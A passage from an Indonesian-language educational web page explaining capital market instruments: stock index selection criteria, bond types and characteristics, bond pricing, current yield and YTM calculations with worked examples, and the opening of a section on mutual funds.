Roman';"> </span></span></span><!--[endif]--><span style="font-family: 'Trebuchet MS';">Berdasarkan pertimbangan faktor fundamental perusahaan dan pola perdagangan di bursa, BEI dapat menetapkan untuk mengeluarkan saham tersebut dalam proses perhitungan indeks harga 100 saham.<o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 0.5in; text-indent: -12pt;"><span style="color: rgb(255, 255, 255);"><!--[if !supportLists]--><span style="font-family: Wingdings;"><span style="font-size: 0pt;">§<span style=""> </span></span></span><!--[endif]--><span style="font-family: 'Trebuchet MS';">Masuk dalam 150 saham dengan nilai transaksi dan frekwensi transaksi serta kapitalisasi pasar terbesar di Pasar Reguler, selama 12 bulan terakhir.<o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 0.5in; text-indent: -12pt;"><span style="color: rgb(255, 255, 255);"><!--[if !supportLists]--><span style="font-family: Wingdings;"><span style="font-size: 0pt;">§<span style="font: 7px 'Times New Roman';"> </span></span></span><!--[endif]--><span style="font-family: 'Trebuchet MS';">Dari sebanyak 150 saham tersebut, kemudian diperkecil jumlahnya menjadi 60 saham dengan mempertimbangkan nilai transaksi terbesar.<o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 0.5in; text-indent: -12pt;"><span style="color: rgb(255, 255, 255);"><!--[if !supportLists]--><span style="font-family: Wingdings;"><span style="font-size: 0pt;">§<span style="font: 7px 'Times New Roman';"> </span></span></span><!--[endif]--><span style="font-family: 'Trebuchet MS';">Dari sebanyak 90 saham yang tersisa, kemudian dipilih sebnyak 40 saham dengan mempertimbangkan kinerja: hari transaksi dan frekwensi transaksi serta nilai kapitalisasi pasar di pasar regular<o:p></o:p></span></span></p><p class="MsoNormal" style="text-align: justify;"><strong><span style="font-family: 'Trebuchet MS'; color: rgb(255, 255, 255);">D.<span style="font-size: 0pt;"> </span>Instrumen Obligasi</span></strong><span style="font-family: 'Trebuchet MS';"><o:p></o:p></span></p><p class="MsoNormal" style="margin-left: 0.25in; text-align: justify;"><span style="font-family: 'Trebuchet MS';"><span style="color: rgb(255, 255, 255);">Obligasi merupakan <st1:city st="on"><st1:place st="on">surat</st1:place></st1:city> utang jangka menengah-panjang yang dapat dipindahtangankan yang berisi janji dari pihak yang menerbitkan untuk membayar imbalan berupa bunga pada periode tertentu dan melunasi pokok utang pada waktu yang telah ditentukan kepada pihak pembeli obligasi tersebut. <o:p></o:p></span></span></p><p class="MsoNormal" style="text-align: justify;"><strong><span style="font-family: 'Trebuchet MS'; color: rgb(255, 255, 255);">1. Jenis Obligasi</span></strong><span style="font-family: 'Trebuchet MS';"><o:p></o:p></span></p><p class="MsoNormal" style="text-align: justify;"><span style="font-family: 'Trebuchet MS';"><span style="font-size: 0pt;"></span><span style="color: rgb(255, 255, 255);">Obligasi memiliki beberapa jenis yang berbeda, yaitu :<o:p></o:p></span></span></p><p class="MsoNormal" style="text-indent: 0.25in; text-align: justify;"><b><span style="font-family: 'Trebuchet MS';"><span style="color: rgb(255, 255, 255);">Dilihat dari sisi penerbit :<o:p></o:p></span></span></b></p><p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in; text-align: justify;"><span style="color: rgb(255, 255, 255);"><!--[if !supportLists]--><span style="font-family: Wingdings;"><span style="font-size: 0pt;">§<span style="font: 7px 'Times New Roman';"> </span></span></span><!--[endif]--><span style="font-family: 'Trebuchet MS';">Corporate Bonds : obligasi yang diterbitkan oleh perusahaan, baik yang berbentuk badan usaha milik negara (BUMN), atau badan usaha swasta. <o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in; text-align: justify;"><span style="color: rgb(255, 255, 255);"><!--[if !supportLists]--><span style="font-family: Wingdings;"><span style="font-size: 0pt;">§<span style="font: 7px 'Times New Roman';"> </span></span></span><!--[endif]--><span style="font-family: 'Trebuchet MS';">Government Bonds : obligasi yang diterbitkan oleh pemerintah pusat. <o:p></o:p></span></span></p><p class="MsoNormal" style="margin: 0in 0in 12pt 0.5in; text-indent: -0.25in; text-align: justify;"><span style="color: rgb(255, 255, 255);"><!--[if !supportLists]--><span style="font-family: Wingdings;"><span style="font-size: 0pt;">§<span style="font: 7px 'Times New Roman';"> </span></span></span><!--[endif]--><span style="font-family: 'Trebuchet MS';">Municipal Bond : obligasi yang diterbitkan oleh pemerintah daerah untuk membiayai proyek-proyek yang berkaitan dengan kepentingan publik (public utility).<o:p></o:p></span></span></p><p class="MsoNormal" style="margin: 0in 0in 12pt 0.25in; text-align: justify;"><b><span style="font-family: 'Trebuchet MS';"><span style="color: rgb(255, 255, 255);">Dilihat dari sistem pembayaran bunga :<o:p></o:p></span></span></b></p><p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in; text-align: justify;"><span style="color: rgb(255, 255, 255);"><!--[if !supportLists]--><span style="font-family: Wingdings;" lang="NL"><span style="font-size: 0pt;">§<span style="font: 7px 'Times New Roman';"> </span></span></span><!--[endif]--><span style="font-family: 'Trebuchet MS';">Zero Coupon Bonds : obligasi yang tidak melakukan pembayaran bunga secara periodik. </span><span style="font-family: 'Trebuchet MS';" lang="NL">Namun, bunga dan pokok dibayarkan sekaligus pada saat jatuh tempo.<o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in; text-align: justify;"><span style="color: rgb(255, 255, 255);"><!--[if !supportLists]--><span style="font-family: Wingdings;" lang="NL"><span style="font-size: 0pt;">§<span style="font: 7px 'Times New Roman';"> </span></span></span><!--[endif]--><span style="font-family: 'Trebuchet MS';" lang="NL">Coupon Bonds : obligasi dengan kupon yang dapat diuangkan secara periodik sesuai dengan ketentuan penerbitnya.<o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in; text-align: justify;"><span style="color: rgb(255, 255, 255);"><!--[if !supportLists]--><span style="font-family: Wingdings;" lang="NL"><span style="font-size: 0pt;">§<span style="font: 7px 'Times New Roman';"> </span></span></span><!--[endif]--><span style="font-family: 'Trebuchet MS';" lang="NL">Fixed Coupon Bonds : obligasi dengan tingkat kupon bunga yang telah ditetapkan sebelum masa penawaran di pasar perdana dan akan dibayarkan secara periodik.<o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in; text-align: justify;"><span style="color: rgb(255, 255, 255);"><!--[if !supportLists]--><span style="font-family: Wingdings;" lang="NL"><span style="font-size: 0pt;">§<span style="font: 7px 'Times New Roman';"> </span></span></span><!--[endif]--><span style="font-family: 'Trebuchet MS';" lang="NL">Floating Coupon Bonds : obligasi dengan tingkat kupon bunga yang ditentukan sebelum jangka waktu tersebut, berdasarkan suatu acuan (benchmark) tertentu seperti average time deposit (ATD) yaitu rata-rata tertimbang tingkat suku bunga deposito dari bank pemerintah dan swasta.<o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 0.25in; text-align: justify;"><b><span style="font-family: 'Trebuchet MS';" lang="NL"><span style="color: rgb(255, 255, 255);">Dilihat dari hak penukaran / opsi :<o:p></o:p></span></span></b></p><p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in; text-align: justify;"><span style="color: rgb(255, 255, 255);"><!--[if !supportLists]--><span style="font-family: Wingdings;" lang="NL"><span style="font-size: 0pt;">§<span style="font: 7px 'Times New Roman';"> </span></span></span><!--[endif]--><span style="font-family: 'Trebuchet MS';" lang="NL">Convertible Bonds : obligasi yang memberikan hak kepada pemegang obligasi untuk mengkonversikan obligasi tersebut ke dalam sejumlah saham milik penerbitnya.<o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in; text-align: justify;"><span style="color: rgb(255, 255, 255);"><!--[if !supportLists]--><span style="font-family: Wingdings;" lang="NL"><span style="font-size: 0pt;">§<span style="font: 7px 'Times New Roman';"> </span></span></span><!--[endif]--><span style="font-family: 'Trebuchet MS';" lang="NL">Exchangeable Bonds : obligasi yang memberikan hak kepada pemegang obligasi untuk menukar saham perusahaan ke dalam sejumlah saham perusahaan afiliasi milik penerbitnya.<o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in; text-align: justify;"><span style="color: rgb(255, 255, 255);"><!--[if !supportLists]--><span style="font-family: Wingdings;" lang="NL"><span style="font-size: 0pt;">§<span style="font: 7px 'Times New Roman';"> </span></span></span><!--[endif]--><span style="font-family: 'Trebuchet MS';" lang="NL">Callable Bonds : obligasi yang memberikan hak kepada emiten untuk membeli kembali obligasi pada harga tertentu sepanjang umur obligasi tersebut.<o:p></o:p></span></span></p><p class="MsoNormal" style="margin: 0in 0in 12pt 0.5in; text-indent: -0.25in; text-align: justify;"><span style="color: rgb(255, 255, 255);"><!--[if !supportLists]--><span style="font-family: Wingdings;" lang="NL"><span style="font-size: 0pt;">§<span style="font: 7px 'Times New Roman';"> </span></span></span><!--[endif]--><span style="font-family: 'Trebuchet MS';" lang="NL">Putable Bonds : obligasi yang memberikan hak kepada investor yang mengharuskan emiten untuk membeli kembali obligasi pada harga tertentu sepanjang umur obligasi tersebut.<o:p></o:p></span></span></p><p class="MsoNormal" style="margin: 0in 0in 12pt 0.25in; text-align: justify;"><b><span style="font-family: 'Trebuchet MS';" lang="NL"><span style="color: rgb(255, 255, 255);">Dilihat dari segi jaminan atau kolateralnya<o:p></o:p></span></span></b></p><p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in; text-align: justify;"><span style="color: rgb(255, 255, 255);"><!--[if !supportLists]--><span style="font-family: Wingdings;" lang="NL"><span style="font-size: 0pt;">§<span style="font: 7px 'Times New Roman';"> </span></span></span><!--[endif]--><span style="font-family: 'Trebuchet MS';" lang="NL">Secured Bonds : obligasi yang dijamin dengan kekayaan tertentu dari penerbitnya atau dengan jaminan lain dari pihak ketiga. Dalam kelompok ini, termasuk didalamnya adalah:<o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 0.75in; text-indent: -20.25pt; text-align: justify;"><span style="color: rgb(255, 255, 255);"><!--[if !supportLists]--><span style="font-family: 'Trebuchet MS';" lang="NL"><span style="font-size: 0pt;">a)<span style="font: 7px 'Times New Roman';"> </span></span></span><!--[endif]--><span style="font-family: 'Trebuchet MS';" lang="NL">Guaranteed Bonds : Obligasi yang pelunasan bunga dan pokoknya dijamin denan penangguangan dari pihak ketiga<o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 0.75in; text-indent: -20.25pt; text-align: justify;"><span style="color: rgb(255, 255, 255);"><!--[if !supportLists]--><span style="font-family: 'Trebuchet MS';" lang="NL"><span style="font-size: 0pt;">b)<span style="font: 7px 'Times New Roman';"> </span></span></span><!--[endif]--><span style="font-family: 'Trebuchet MS';" lang="NL">Mortgage Bonds : obligasi yang pelunasan bunga dan pokoknya dijamin dengan agunan hipotik atas properti atau asset tetap.<o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 0.75in; text-indent: -20.25pt; text-align: justify;"><span style="color: rgb(255, 255, 255);"><!--[if !supportLists]--><span style="font-family: 'Trebuchet MS';" lang="NL"><span style="font-size: 0pt;">c)<span style="font: 7px 'Times New Roman';"> </span></span></span><!--[endif]--><span style="font-family: 'Trebuchet MS';" lang="NL">Collateral Trust Bonds : obligasi yang dijamin dengan efek yang dimiliki penerbit dalam portofolionya, misalnya saham-saham anak perusahaan yang dimilikinya.<o:p></o:p></span></span></p><p class="MsoNormal" style="margin: 0in 0in 12pt 0.5in; text-indent: -0.25in; text-align: justify;"><span style="color: rgb(255, 255, 255);"><!--[if !supportLists]--><span style="font-family: Wingdings;" lang="NL"><span style="font-size: 0pt;">§<span style="font: 7px 'Times New Roman';"> </span></span></span><!--[endif]--><span style="font-family: 'Trebuchet MS';" lang="NL">Unsecured Bonds : obligasi yang tidak dijaminkan dengan kekayaan tertentu tetapi dijamin dengan kekayaan penerbitnya secara umum.<o:p></o:p></span></span></p><p class="MsoNormal" style="margin: 0in 0in 12pt 0.25in; text-align: justify;"><b><span style="font-family: 'Trebuchet MS';" lang="FR"><span style="color: rgb(255, 255, 255);">Dilihat dari segi nilai nominal<o:p></o:p></span></span></b></p><p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in; text-align: justify;"><span style="color: rgb(255, 255, 255);"><!--[if !supportLists]--><span style="font-family: Wingdings;"><span style="font-size: 0pt;">§<span style="font: 7px 'Times New Roman';"> </span></span></span><!--[endif]--><span style="font-family: 'Trebuchet MS';">Konvensional Bonds : obligasi yang lazim diperjualbelikan dalam satu nominal, Rp 1 miliar per satu lot.<o:p></o:p></span></span></p><p class="MsoNormal" style="margin: 0in 0in 12pt 0.5in; text-indent: -0.25in; text-align: justify;"><span style="color: rgb(255, 255, 255);"><!--[if !supportLists]--><span style="font-family: Wingdings;"><span style="font-size: 0pt;">§<span style="font: 7px 'Times New Roman';"> </span></span></span><!--[endif]--><span style="font-family: 'Trebuchet MS';">Retail Bonds : obligasi yang diperjual belikan dalam satuan nilai nominal yang kecil, baik <em><span style="font-family: 'Trebuchet MS';">corporate bonds</span></em> maupun <em><span style="font-family: 'Trebuchet MS';">government bonds</span></em>.<o:p></o:p></span></span></p><p class="MsoNormal" style="margin-bottom: 12pt; text-indent: 0.25in; text-align: justify;"><b><span style="font-family: 'Trebuchet MS';"><span style="color: rgb(255, 255, 255);">Dilihat dari segi perhitungan imbal hasil :<o:p></o:p></span></span></b></p><p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in; text-align: justify;"><span style="color: rgb(255, 255, 255);"><!--[if !supportLists]--><span style="font-family: Wingdings;"><span style="font-size: 0pt;">§<span style="font: 7px 'Times New Roman';"> </span></span></span><!--[endif]--><span style="font-family: 'Trebuchet MS';">Konvensional Bonds : obligasi yang diperhitungan dengan menggunakan sistem kupon bunga.<o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in; text-align: justify;"><span style="color: rgb(255, 255, 255);"><!--[if !supportLists]--><span style="font-family: Wingdings;"><span style="font-size: 0pt;">§<span style="font: 7px 'Times New Roman';"> </span></span></span><!--[endif]--><span style="font-family: 'Trebuchet MS';">Syariah Bonds : obligasi yang perhitungan imbal hasil dengan menggunakan perhitungan bagi hasil. Dalam perhitungan ini dikenal dua macam obligasi syariah, yaitu: <o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 0.75in; text-indent: -0.25in; text-align: justify;"><span style="color: rgb(255, 255, 255);"><!--[if !supportLists]--><span style="font-family: 'Trebuchet MS';"><span style="font-size: 0pt;">a)<span style="font: 7px 'Times New Roman';"> </span></span></span><!--[endif]--><span style="font-family: 'Trebuchet MS';">Obligasi Syariah Mudharabah merupakan obligasi syariah yang menggunakan akad bagi hasil sedemikian sehingga pendapatan yang diperoleh investor atas obligasi tersebut diperoleh setelah mengetahui pendapatan emiten.<o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 0.75in; text-indent: -0.25in; text-align: justify;"><span style="color: rgb(255, 255, 255);"><!--[if !supportLists]--><span style="font-family: 'Trebuchet MS';"><span style="font-size: 0pt;">b)<span style="font: 7px 'Times New Roman';"> </span></span></span><!--[endif]--><span style="font-family: 'Trebuchet MS';">Obligasi Syariah Ijarah merupakan obligasi syariah yang menggunakan akad sewa sedemikian sehingga kupon (fee ijarah) bersifat tetap, dan bisa diketahui/diperhitungkan sejak awal obligasi diterbitkan<o:p></o:p></span></span></p><p class="MsoNormal" style="text-align: justify;"><strong><span style="font-family: 'Trebuchet MS'; color: rgb(255, 255, 255);">2.<span style="font-size: 0pt;"> </span>Karakteristik Obligasi :</span></strong><span style="font-family: 'Trebuchet MS';"><o:p></o:p></span></p><ul style="margin-top: 0in;" type="square"><li class="MsoNormal" style="text-align: justify; color: blue;"><span style="font-family: 'Trebuchet MS';"><span style="color: rgb(255, 255, 255);">Nilai Nominal (Face Value) adalah nilai pokok dari suatu obligasi yang akan diterima oleh pemegang obligasi pada saat obligasi tersebut jatuh tempo. <o:p></o:p></span></span></li><li class="MsoNormal" style="text-align: justify; color: blue;"><span style="font-family: 'Trebuchet MS';"><span style="color: rgb(255, 255, 255);">Kupon (the Interest Rate) adalah nilai bunga yang diterima pemegang obligasi secara berkala (kelaziman pembayaran kupon obligasi adalah setiap 3 atau 6 bulanan) Kupon obligasi dinyatakan dalam annual prosentase. <o:p></o:p></span></span></li><li class="MsoNormal" style="text-align: justify; color: blue;"><span style="color: rgb(255, 255, 255);"><span style="font-family: 'Trebuchet MS';">Jatuh Tempo (Maturity) adalah tanggal dimana pemegang obligasi akan mendapatkan pembayaran kembali pokok atau Nilai Nominal obligasi yang dimilikinya. </span><span style="font-family: 'Trebuchet MS';" lang="FR">Periode jatuh tempo obligasi bervariasi mulai dari 365 hari sampai dengan diatas 5 tahun. Obligasi yang akan jatuh tempo dalam waktu 1 tahun akan lebih mudah untuk di prediksi, sehingga memilki resiko yang lebih kecil dibandingkan dengan obligasi yang memiliki periode jatuh tempo dalam waktu 5 tahun. Secara umum, semakin panjang jatuh tempo suatu obligasi, semakin tinggi Kupon / bunga nya. <o:p></o:p></span></span></li><li class="MsoNormal" style="text-align: justify; color: blue;"><span style="font-family: 'Trebuchet MS';" lang="FR"><span style="color: rgb(255, 255, 255);">Penerbit / Emiten (Issuer) Mengetahui dan mengenal penerbit obligasi merupakan faktor sangat penting dalam melakukan investasi Obligasi Ritel. Mengukur resiko / kemungkinan dari penerbit obigasi tidak dapat melakukan pembayaran kupon dan atau pokok obligasi tepat waktu (disebut default risk) dapat dilihat dari peringkat (rating) obligasi yang dikeluarkan oleh lembaga pemeringkat seperti PEFINDO atau Kasnic Indonesia.<strong><span style="font-family: 'Trebuchet MS';"> </span></strong><o:p></o:p></span></span></li></ul><p class="MsoNormal" style="text-align: justify;"><span style="color: rgb(255, 255, 255);"><strong><span style="font-family: 'Trebuchet MS';" lang="FR">3.<span style="font-size: 0pt;"> </span>Harga Obligasi</span></strong><strong><span style="font-family: 'Trebuchet MS';" lang="FR"> :</span></strong><span style="font-family: 'Trebuchet MS';" lang="FR"><o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 0.25in; text-align: justify;"><span style="font-family: 'Trebuchet MS';" lang="FR"><span style="color: rgb(255, 255, 255);">Berbeda dengan harga saham yang dinyatakan dalam bentuk mata uang, harga obligasi dinyatakan dalam persentase (%), yaitu persentase dari nilai nominal.<br />Ada 3 (tiga) kemungkinan harga pasar dari obligasi yang ditawarkan, yaitu: <o:p></o:p></span></span></p><ul style="margin-top: 0in;" type="square"><li class="MsoNormal" style="text-align: justify; color: blue;"><span style="font-family: 'Trebuchet MS';"><span style="color: rgb(255, 255, 255);">Par (nilai Pari) : Harga Obligasi sama dengan nilai nominal Misal: Obligasi dengan nilai nominal Rp 50 juta dijual pada harga 100%, maka nilai obligasi tersebut adalah 100% x Rp 50 juta = Rp 50 juta. <o:p></o:p></span></span></li><li class="MsoNormal" style="text-align: justify; color: blue;"><span style="font-family: 'Trebuchet MS';"><span style="color: rgb(255, 255, 255);">at premium (dengan Premi) : Harga Obligasi lebih besar dari nilai nominal Misal: Obligasi dengan nilai nominal RP 50 juta dijual dengan harga 102%, maka nilai obligasi adalah 102% x Rp 50 juta = Rp 51 juta <o:p></o:p></span></span></li><li class="MsoNormal" style="text-align: justify; color: blue;"><span style="font-family: 'Trebuchet MS';"><span style="color: rgb(255, 255, 255);">at discount (dengan Discount) : Harga Obligasi lebih kecil dari nilai nominal Misal: Obligasi dengan nilai nominal Rp 50 juta dijual dengan harga 98%, maka nilai dari obligasi adalah 98% x Rp 50 juta = Rp 49 juta. <o:p></o:p></span></span></li></ul><p class="MsoNormal" style="margin-left: 0.25in; text-indent: -18.75pt; text-align: justify;"><span style="color: rgb(255, 255, 255);"><!--[if !supportLists]--><strong><span style="font-family: 'Trebuchet MS';"><span style="font-size: 0pt;">4.<span style="font: 7px 'Times New Roman';"> </span></span></span></strong><!--[endif]--><strong><span style="font-family: 'Trebuchet MS';">Yield Obligasi :<o:p></o:p></span></strong></span></p><p class="MsoNormal" style="margin-left: 0.25in; text-align: justify;"><span style="font-family: 'Trebuchet MS';"><span style="color: rgb(255, 255, 255);">Pendapatan atau imbal hasil atau <em><b><span style="font-family: 'Trebuchet MS';">return</span></b></em><strong><span style="font-family: 'Trebuchet MS';"> </span></strong>yang akan diperoleh dari investasi obligasi dinyatakan sebagai <em><b><span style="font-family: 'Trebuchet MS';">yield</span></b></em><em><span style="font-family: 'Trebuchet MS';">, </span></em>yaitu hasil yang akan diperoleh investor apabila menempatkan dananya untuk dibelikan obligasi. Sebelum memutuskan untuk berinvestasi obligasi, investor harus mempertimbangkan besarnya <em><span style="">yield</span></em> obligasi, sebagai faktor pengukur tingkat pengembalian tahunan yang akan diterima. <st1:place st="on"><st1:city st="on">Ada</st1:city></st1:place> 2 (dua) istilah dalam penentuan <em><span style="font-family: 'Trebuchet MS';">yield </span></em>yaitu<em><span style="font-family: 'Trebuchet MS';"> current yield </span></em>dan<em><span style="font-family: 'Trebuchet MS';"> yield to maturity.</span></em> <o:p></o:p></span></span></p><ul type="square"><li class="MsoNormal" style="text-align: justify; color: blue;"><span style="font-family: 'Trebuchet MS';"><span style="color: rgb(255, 255, 255);">Currrent yield adalah <em><span style="font-family: 'Trebuchet MS';">yield</span></em> yang dihitung berdasrkan jumlah kupon yang diterima selama satu tahun terhadap harga obligasi tersebut.<o:p></o:p></span></span></li></ul><p class="MsoNormal" style="text-align: justify;"><span style="font-family: 'Trebuchet MS';"><span style="font-size: 0pt;"></span><span style="color: rgb(255, 255, 255);">Current yield = <u>bunga tahunan</u> <o:p></o:p></span></span></p><p class="MsoNormal" style="text-align: justify;"><span style="font-family: 'Trebuchet MS';"><span style="font-size: 0pt;"></span><span style="font-size: 0pt;"></span><span style="font-size: 0pt;"></span><span style="color: rgb(255, 255, 255);">harga obligasi<o:p></o:p></span></span></p><p class="MsoNormal" style="text-align: justify;"><span style="font-family: 'Trebuchet MS'; color: rgb(255, 255, 255);"><o:p></o:p></span></p><p class="MsoNormal" style="margin-left: 0.25in; text-align: justify;"><span style="font-family: 'Trebuchet MS';"><span style="color: rgb(255, 255, 255);">Contoh:<o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 0.25in; text-align: justify;"><span style="font-family: 'Trebuchet MS';"><span style="color: rgb(255, 255, 255);">Jika obligasi PT XYZ memberikan kupon kepada pemegangnya sebesar 17% per tahun sedangkan harga obligasi tersebut adalah 98% untuk nilai nominal Rp 1.000.000.000, maka:<o:p></o:p></span></span></p><p class="MsoNormal" style="text-align: justify;"><span style="font-family: 'Trebuchet MS'; color: rgb(255, 255, 255);"><o:p></o:p></span></p><p class="MsoNormal" style="text-indent: 0.25in; text-align: justify;"><span style="font-family: 'Trebuchet MS';"><span style="color: rgb(255, 255, 255);">Current Yield = <u>Rp 170.000.000</u> atau <span style="font-size: 0pt;"></span><u>17%</u><o:p></o:p></span></span></p><p class="MsoNormal" style="text-align: justify;"><span style="font-family: 'Trebuchet MS';"><span style="font-size: 0pt;"></span><span style="color: rgb(255, 255, 255);">Rp 980.000.000 <span style="font-size: 0pt;"></span>98%<o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 1in; text-indent: 0.5in; text-align: justify;"><span style="font-family: 'Trebuchet MS';"><span style="color: rgb(255, 255, 255);">= 17.34%<o:p></o:p></span></span></p><p style="margin: 0in 0in 0pt; text-align: justify;"><span style="font-family: 'Trebuchet MS'; color: rgb(255, 255, 255);"><o:p></o:p></span></p><ul style="margin-top: 0in;" type="square"><li class="MsoNormal" style="text-align: justify; color: blue;"><span style="font-family: 'Trebuchet MS';"><span style="color: rgb(255, 255, 255);">Sementara itu <em><span style="font-family: 'Trebuchet MS';">yiled to maturity (YTM)</span></em> adalah tingkat pengembalian atau pendapatan yang akan diperoleh investor apabila memiliki obligasi sampai jatuh tempo. Formula <em><span style="font-family: 'Trebuchet MS';">YTM</span></em> yang seringkali digunakan oleh para pelaku adalah <em><span style="font-family: 'Trebuchet MS';">YTM approximation</span></em> atau pendekatan nilai <em><span style="font-family: 'Trebuchet MS';">YTM</span></em>, sebagai berikut: <o:p></o:p></span></span></li></ul><p class="MsoNormal" style="text-indent: 0.5in; text-align: justify;"><span style="font-family: 'Trebuchet MS';"><span style="color: rgb(255, 255, 255);">YTM approximation = C + <u>R – P </u><o:p></o:p></span></span></p><p class="MsoNormal" style="text-align: justify;"><span style="font-family: 'Trebuchet MS';"><span style="font-size: 0pt;"></span><span style="color: rgb(255, 255, 255);"><u>n </u>x 100%<o:p></o:p></span></span></p><p class="MsoNormal" style="text-align: justify;"><span style="font-family: 'Trebuchet MS';"><u><span style="font-size: 0pt;"></span><span style="color: rgb(255, 255, 255);">R + P </span></u><o:p></o:p></span></p><p class="MsoNormal" style="text-align: justify;"><span style="font-family: 'Trebuchet MS';"><span style="font-size: 0pt;"></span><span style="color: rgb(255, 255, 255);">2<o:p></o:p></span></span></p><p class="MsoNormal" style="text-align: justify;"><span style="font-family: 'Trebuchet MS';"><span style="font-size: 0pt;"></span><span style="color: rgb(255, 255, 255);">Keterangan:<o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 0.5in; text-align: justify;"><span style="font-family: 'Trebuchet MS';"><span style="color: rgb(255, 255, 255);">C = kupon<o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 0.5in; text-align: justify;"><span style="font-family: 'Trebuchet MS';"><span style="color: rgb(255, 255, 255);">n = periode waktu yang tersisa (tahun)<o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 0.5in; text-align: justify;"><span style="font-family: 'Trebuchet MS';"><span style="color: rgb(255, 255, 255);">R = redemption value<o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 0.5in; text-align: justify;"><span style="font-family: 'Trebuchet MS';"><span style="color: rgb(255, 255, 255);">P = harga pemeblian (purchase value)<o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 0.5in; text-align: justify;"><span style="font-family: 'Trebuchet MS';"><span style="color: rgb(255, 255, 255);">Contoh:<o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 0.5in; text-align: justify;"><span style="color: rgb(255, 255, 255);"><span style="font-family: 'Trebuchet MS';">Obligasi XYZ dibeli pada 5 September 2003 dengan harga 94.25% memiliki kupon sebesar 16% dibayar setiap 3 bulan sekali dan jatuh tempo pada 12 juli 2007. </span><span style="font-family: 'Trebuchet MS';" lang="FR">Berapakah besar YTM approximationnya ?<o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 0.5in; text-align: justify;"><span style="font-family: 'Trebuchet MS';" lang="FR"><span style="color: rgb(255, 255, 255);">C = 16%<o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 0.5in; text-align: justify;"><span style="font-family: 'Trebuchet MS';" lang="FR"><span style="color: rgb(255, 255, 255);">n = 3 tahun 10 bulan 7 hari = 3.853 tahun<o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 0.5in; text-align: justify;"><span style="font-family: 'Trebuchet MS';" lang="FR"><span style="color: rgb(255, 255, 255);">R = 94.25%<o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 0.5in; text-align: justify;"><span style="font-family: 'Trebuchet MS';"><span style="color: rgb(255, 255, 255);">P = 100%<o:p></o:p></span></span></p><span style="font-family: 'Trebuchet MS';"><o:p></o:p></span><p class="MsoNormal" style="text-indent: 0.5in; text-align: justify;"><span style="font-family: 'Trebuchet MS';"><span style="color: rgb(255, 255, 255);">YTM approximation = 16 + <u>100 – 94.25 </u><o:p></o:p></span></span></p><p class="MsoNormal" style="text-align: justify;"><span style="font-family: 'Trebuchet MS';"><span style="font-size: 0pt;"></span><span style="color: rgb(255, 255, 255);">3.853<o:p></o:p></span></span></p><p class="MsoNormal" style="text-align: justify;"><span style="font-family: 'Trebuchet MS';"><span style="font-size: 0pt;"></span><span style="font-size: 0pt;"></span><span style="color: rgb(255, 255, 255);">=<u> <span style="font-size: 0pt;"></span>100 + 94.25 </u><o:p></o:p></span></span></p><p class="MsoNormal" style="text-align: justify;"><span style="font-family: 'Trebuchet MS';"><span style="font-size: 0pt;"></span><span style="color: rgb(255, 255, 255);">2<o:p></o:p></span></span></p><p class="MsoNormal" style="text-align: justify;"><span style="font-family: 'Trebuchet MS';"><span style="font-size: 0pt;"></span><span style="font-size: 0pt;"></span><span style="color: rgb(255, 255, 255);">= 18.01 % <o:p></o:p></span></span></p><p style="margin-left: 0.25in; text-indent: -18.75pt;"><span style="font-family: 'Trebuchet MS';"><o:p></o:p></span><span style="color: rgb(255, 255, 255);"><!--[if !supportLists]--><b><span style="font-family: 'Trebuchet MS';"><span style="font-size: 0pt;">5.<span style="font: 7px 'Times New Roman';"> </span></span></span></b><!--[endif]--><b><span style="font-family: 'Trebuchet MS';">Instrument Reksadana<o:p></o:p></span></b></span></p><p style="margin-left: 0.25in;"><span style="font-family: 'Trebuchet MS';"><span style="color: rgb(255, 255, 255);">Reksa dana merupakan salah satu alternatif investasi bagi masyarakat pemodal, khususnya pemodal kecil dan pemodal yang tidak memiliki banyak waktu dan keahlian untuk menghitung risiko atas investasi mereka. Reksa Dana dirancang sebagai sarana untuk menghimpun dana dari masyarakat yang memiliki modal, mempunyai keinginan untuk melakukan investasi, namun hanya memiliki waktu dan pengetahuan yang terbatas. Selain itu Reksa Dana juga diharapkan dapat meningkatkan peran pemodal lokal untuk berinvestasi di pasar modal <st1:country-region st="on"><st1:place st="on">Indonesia</st1:place></st1:country-region>.<br />Umumnya, Reksa Dana diartikan sebagai Wadah yang dipergunakan untuk menghimpun dana dari masyarakat pemodal untuk selanjutnya di investasikan dalam portofolio Efek oleh Manajer Investasi. Mengacu kepada Undang-Undang Pasar Modal No. 8 Tahun 1995, pasal 1 ayat (27) didefinisikan bahwa 